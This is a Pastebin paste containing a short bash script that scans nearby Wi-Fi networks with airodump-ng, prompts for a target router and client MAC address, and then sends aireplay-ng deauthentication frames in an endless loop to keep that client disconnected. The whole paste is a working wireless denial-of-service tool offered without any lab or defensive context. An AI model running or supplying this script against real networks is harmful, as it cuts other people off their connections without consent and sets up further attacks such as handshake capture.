Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #must be root or sudo
- wifi=$1
- /etc/init.d/network-manager stop
- airodump-ng $wifi
- echo -n "Router MAC:"
- read router
- echo -n "Client MAC:"
- read client
- /etc/init.d/network-manager start
- sleep 3
- /etc/init.d/network-manager stop
- while [ 1 ]
- do
- echo "Sending Deauth..."
- aireplay-ng --deauth 5 -a $router -c $client $wifi
- sleep 5
- done
- /etc/init.d/network-manager start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement